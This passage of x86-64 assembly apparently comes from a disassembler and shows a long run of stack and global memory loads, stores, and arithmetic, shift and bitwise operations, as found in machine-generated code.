movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5478]
mov word [rcx], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x5ae0], rax
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x99c], ax
mov rax, qword [0x14017a110]
movzx eax, byte [rax]
mov byte [rsp + 0xb6], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5198]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5950], rax
mov rax, qword [rsp + 0x4f50]
mov ecx, dword [rsp + 0x2abc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5160]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50d0]
mov eax, dword [rax]
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x5a70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5720]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56b8]
mov qword [rcx], rax
lea rax, [rsp + 0x8a4]
mov qword [0x14017a238], rax
lea rax, [rsp + 0x9fc]
mov qword [rsp + 0x5ae8], rax
mov rax, qword [0x14017a1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x968]
add eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [0x14017a160]
movzx eax, word [rax]
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b6c], eax
mov eax, dword [rsp + 0x2aa8]
mov dword [rsp + 0x2b74], eax
mov rax, qword [rsp + 0x59d8]
mov rcx, qword [rsp + 0x5990]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5320]
mov rax, qword [rax]
mov qword [rsp + 0x5af0], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x14017a056], al
movzx eax, byte [rsp + 0x8d]
movzx ecx, byte [rsp + 0xa2]
sar eax, cl
mov rcx, qword [rsp + 0x5698]
mov byte [rcx], al
mov rax, qword [rsp + 0x5910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5800]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8ac], ax
mov rax, qword [rsp + 0x5390]
movzx eax, byte [rax]
mov byte [rsp + 0xb7], al
movzx eax, word [rsp + 0x9b4]
movzx ecx, word [rsp + 0x918]
or eax, ecx
mov word [rsp + 0x878], ax
lea rax, [rsp + 0x58b0]
mov qword [rsp + 0x5af8], rax
mov rax, qword [rsp + 0x5200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x5560]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x4e98]
mov eax, dword [rax]
mov dword [rsp + 0x2b78], eax
movsx eax, word [rsp + 0x89c]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a068]
mov word [rcx], ax
mov rax, qword [rsp + 0x52c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5120]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58], al
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x53c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x5b00], rax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5000]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x57c8], rax
lea rax, [rsp + 0x51e8]
mov qword [rsp + 0x5b08], rax
mov rax, qword [rsp + 0x5790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5758]
mov dword [rcx], eax
movsx eax, word [rsp + 0x9dc]
movsx ecx, word [0x140178ed8]
sub eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
lea rax, [rsp + 0x64]
mov qword [0x14017a240], rax
lea rax, [rsp + 0x97c]
mov qword [rsp + 0x5b10], rax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0x6f]
add eax, ecx
mov rcx, qword [rsp + 0x5468]
mov byte [rcx], al
lea rax, [0x14017a050]
mov qword [rsp + 0x5b18], rax
mov rax, qword [rsp + 0x5a68]
movzx ecx, al
mov rax, qword [rsp + 0x5940]
shl rax, cl
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
lea rax, [rsp + 0x5628]
mov qword [rsp + 0x5b20], rax
mov rax, qword [rsp + 0x53b8]
mov ecx, dword [rsp + 0x2b38]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x50e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5238]
mov dword [rcx], eax
lea rax, [rsp + 0x960]
mov qword [rsp + 0x5b28], rax
lea rax, [rsp + 0x8cc]
mov qword [0x14017a248], rax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x5898]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa7], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0x5b30], rax
movzx eax, word [rsp + 0x8d8]
movzx ecx, word [0x140178eac]
and eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ad0]
mov rcx, qword [rsp + 0x50e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a78]
mov dword [rsp + 0x2b7c], eax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x58d8]
mov qword [rsp + 0x5b38], rax
movsx eax, word [rsp + 0x9e0]
mov rcx, qword [rsp + 0x55c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5048]
mov word [rcx], ax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x57c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e75], al
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb1]
add eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0x54]
mov qword [rsp + 0x5b40], rax
movzx eax, word [rsp + 0x928]
mov rcx, qword [0x14017a100]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov dword [rsp + 0x2b80], eax
mov rax, qword [rsp + 0x5978]
mov rcx, qword [rsp + 0x55c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b78], rax
lea rax, [rsp + 0x4fa8]
mov qword [rsp + 0x5b48], rax
mov rax, qword [rsp + 0x5240]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ab4], eax
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e4]
sar eax, cl
mov word [rsp + 0x8b0], ax
movzx eax, byte [0x14017a051]
mov byte [0x14017a0cc], al
movzx eax, word [rsp + 0x984]
mov word [rsp + 0xa0c], ax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x55e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x9ac]
mov word [rsp + 0xa10], ax
movzx eax, word [rsp + 0x8ec]
mov rcx, qword [rsp + 0x5538]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a80]
mov ecx, dword [rsp + 0x2b18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e80]
mov dword [rcx], eax
lea rax, [rsp + 0x55f0]
mov qword [rsp + 0x5b50], rax
mov rax, qword [rsp + 0x5850]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f28]
mov qword [rcx], rax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0x5b58], rax
movsx eax, word [rsp + 0x88c]
movsx ecx, word [rsp + 0x958]
and eax, ecx
mov rcx, qword [0x14017a188]
mov word [rcx], ax
movsx eax, byte [0x14017a0cb]
movsx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0x5a78]
mov byte [rcx], al
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x950]
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5870]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x2b84], eax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5788], rax
mov rax, qword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x29dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b7c], eax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0x5b60], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
mov rcx, qword [0x14017a068]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178edc], ax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [rsp + 0x918]
sub eax, ecx
mov rcx, qword [rsp + 0x4fb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0xb9], al
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x64]
and eax, ecx
mov rcx, qword [rsp + 0x5390]
mov byte [rcx], al
lea rax, [rsp + 0x9b]
mov qword [rsp + 0x5b68], rax
mov eax, dword [rsp + 0x2b5c]
mov ecx, dword [rsp + 0x2a7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x4fe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x53f8]
shl rax, cl
mov rcx, qword [rsp + 0x5188]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a94]
mov dword [rsp + 0x2b88], eax
mov rax, qword [rsp + 0x5940]
mov rcx, qword [rsp + 0x5740]
mov qword [rsp + 0x5b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5b70]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x58b0], rax
movsx eax, word [0x140178ecc]
movsx ecx, word [rsp + 0x880]
or eax, ecx
mov word [0x140178ee0], ax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8c], al
movzx eax, word [rsp + 0x908]
mov rcx, qword [rsp + 0x5378]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x5b28]
movzx eax, word [rax]
mov word [rsp + 0xa18], ax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2afc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x5b78], rax
mov rax, qword [rsp + 0x5570]
mov rcx, qword [rsp + 0x4fa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2adc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b44], eax
movzx eax, word [rsp + 0x950]
mov rcx, qword [rsp + 0x52c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a160]
mov word [rcx], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
mov rcx, qword [0x14017a138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x5090]
movzx eax, word [rax]
mov word [rsp + 0xa1c], ax
movsx eax, word [rsp + 0x960]
mov rcx, qword [rsp + 0x5190]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5338], rax
lea rax, [rsp + 0x29c4]
mov qword [rsp + 0x5b80], rax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [rsp + 0x5970]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x59f0], rax
mov eax, dword [rsp + 0x2a8c]
mov dword [rsp + 0x2b8c], eax
mov rax, qword [0x14017a220]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x55a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e9b], al
movzx eax, word [rsp + 0x8cc]
movzx ecx, word [rsp + 0xa08]
or eax, ecx
mov word [rsp + 0x898], ax
mov rax, qword [0x14017a148]
movzx eax, byte [rax]
mov byte [rsp + 0xbc], al
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x53e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9ac], ax
mov rax, qword [rsp + 0x5450]
mov qword [rsp + 0x5b88], rax
mov eax, dword [rsp + 0x2b7c]
mov rcx, qword [rsp + 0x59f8]
mov qword [rsp + 0x5b90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a84], eax
mov eax, dword [rsp + 0x2a38]
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x4ac0]
mov rcx, qword [rsp + 0x5458]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5140], rax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
sub eax, ecx
mov byte [0x140178e5e], al
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x5a00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
movzx eax, word [0x140178ea0]
mov word [rsp + 0xa20], ax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f4]
and eax, ecx
mov word [rsp + 0x950], ax
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x58b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2970]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af4], eax
lea rax, [rsp + 0x2ad8]
mov qword [rsp + 0x5b98], rax
mov rax, qword [rsp + 0x5a60]
mov rcx, qword [rsp + 0x51b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x51e8], rax
lea rax, [rsp + 0x80]
mov qword [0x14017a250], rax
movzx eax, word [rsp + 0x8ac]
mov word [rsp + 0xa24], ax
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [0x14017a1e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
lea rax, [rsp + 0x978]
mov qword [rsp + 0x5ba0], rax
mov rax, qword [rsp + 0x59c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d70]
mov word [rcx], ax
mov rax, qword [0x140178e60]
movzx ecx, al
mov rax, qword [rsp + 0x53f8]
shl rax, cl
mov qword [rsp + 0x50f0], rax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x5ba8], rax
mov rax, qword [rsp + 0x5220]
mov ecx, dword [rsp + 0x2b08]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2ac0], eax
lea rax, [rsp + 0x2a6c]
mov qword [rsp + 0x5bb0], rax
movzx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x5ae8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x894], ax
lea rax, [rsp + 0xa8]
mov qword [0x14017a258], rax
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
mov rcx, qword [0x14017a068]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ef0]
mov word [rcx], ax
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x5bb8], rax
mov rax, qword [rsp + 0x5068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x908], ax
mov eax, dword [rsp + 0x2ab4]
mov dword [rsp + 0x2b94], eax
mov eax, dword [rsp + 0x2aa4]
mov ecx, dword [0x140178e6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57b8]
mov qword [rcx], rax
lea rax, [rsp + 0x55d0]
mov qword [rsp + 0x5bc0], rax
mov rax, qword [0x14017a250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov byte [rcx], al
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x56d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a1c8]
mov word [rcx], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x5bc8], rax
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa14]
and eax, ecx
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
mov rax, qword [rsp + 0x5040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov rcx, qword [rsp + 0x51f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x57f8]
mov rax, qword [rax]
mov qword [rsp + 0x5bd0], rax
mov eax, dword [rsp + 0x2b58]
mov ecx, dword [rsp + 0x2aec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a40], eax
lea rax, [rsp + 0x28cc]
mov qword [rsp + 0x5bd8], rax
mov rax, qword [rsp + 0x54e8]
mov rcx, qword [rsp + 0x4fe8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x5630]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140178ebc], ax
mov rax, qword [rsp + 0x5698]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a054]
sar eax, cl
mov rcx, qword [rsp + 0x5058]
mov byte [rcx], al
movzx eax, word [rsp + 0x858]
mov rcx, qword [rsp + 0x5780]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d00]
mov word [rcx], ax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x5be0], rax
mov rax, qword [rsp + 0x59c0]
mov rcx, qword [rsp + 0x5718]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5740]
mov qword [rcx], rax
lea rax, [rsp + 0x2a6c]
mov qword [rsp + 0x5be8], rax
mov rax, qword [rsp + 0x5a38]
mov rcx, qword [rsp + 0x5720]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [0x14017a064]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5738]
mov dword [rcx], eax
lea rax, [rsp + 0x988]
mov qword [rsp + 0x5bf0], rax
movzx eax, word [rsp + 0x884]
mov word [0x14017a260], ax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x5bb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e48]
movzx eax, word [rax]
mov word [rsp + 0xa28], ax
mov rax, qword [rsp + 0x5b30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x55a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa28]
add eax, ecx
mov rcx, qword [rsp + 0x5958]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b54]
mov dword [rsp + 0x2b98], eax
mov rax, qword [rsp + 0x5bd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2afc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5828]
mov dword [rcx], eax
mov rax, qword [rsp + 0x50c8]
mov rax, qword [rax]
mov qword [rsp + 0x5bf8], rax
mov rax, qword [rsp + 0x5600]
mov rcx, qword [0x140178e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
lea rax, [rsp + 0x96]
mov qword [0x14017a268], rax
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x5700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8bc]
and eax, ecx
mov word [rsp + 0x9fc], ax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x7a]
add eax, ecx
mov rcx, qword [rsp + 0x5b40]
mov byte [rcx], al
movzx eax, word [rsp + 0x8c0]
mov word [rsp + 0xa2c], ax
mov rax, qword [rsp + 0x5738]
mov ecx, dword [rsp + 0x2aac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov qword [rsp + 0x5c00], rax
mov rax, qword [rsp + 0x5680]
mov ecx, dword [rsp + 0x2a84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [str.kD3]
shl rax, cl
mov qword [rsp + 0x5920], rax
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140178ec8], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x5c08], rax
mov rax, qword [0x14017a248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x8d8], ax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0xa7]
mov rcx, qword [0x14017a1a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x5270]
mov rcx, qword [rsp + 0x5be8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x2908]
mov qword [rsp + 0x5c10], rax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x4f28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5b88], rax
mov rax, qword [rsp + 0x54b0]
mov rax, qword [rax]
mov qword [rsp + 0x5c18], rax
lea rax, [rsp + 0x91c]
mov qword [0x14017a270], rax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x65]
add eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [0x14017a080]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x90c]
sub eax, ecx
mov rcx, qword [rsp + 0x57e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x958]
mov word [rsp + 0xa30], ax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
add eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x4ca8]
mov eax, dword [rax]
mov dword [rsp + 0x2b9c], eax
mov rax, qword [rsp + 0x5978]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5940], rax
mov eax, dword [rsp + 0x2b54]
mov dword [rsp + 0x2ba0], eax
mov rax, qword [rsp + 0x56b8]
mov rcx, qword [rsp + 0x5b48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5588], rax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x73]
and eax, ecx
mov byte [0x14017a053], al
mov rax, qword [rsp + 0x5760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5090]
mov word [rcx], ax
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x5c20], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x58e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x5800]
movzx eax, word [rax]
mov word [rsp + 0xa34], ax
mov eax, dword [rsp + 0x2a4c]
mov ecx, dword [rsp + 0x2b3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b8c], eax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5518]
mov qword [rsp + 0x5c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c28]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov qword [rsp + 0x5c30], rax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x59f8]
mov qword [rsp + 0x5c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5c38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b60], eax
lea rax, [rsp + 0x87]
mov qword [0x14017a278], rax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0xc1], al
movsx eax, word [rsp + 0xa18]
mov rcx, qword [rsp + 0x4ee0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8f8], ax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5278]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5600], rax
mov eax, dword [rsp + 0x2b1c]
mov dword [rsp + 0x2ba4], eax
mov rax, qword [rsp + 0x58f8]
mov rcx, qword [rsp + 0x5860]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58f0]
mov ecx, dword [rsp + 0x2a44]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [0x14017a190], ax
movzx eax, byte [rsp + 0xa9]
mov byte [rsp + 0xc3], al
mov rax, qword [0x14017a070]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5bc8]
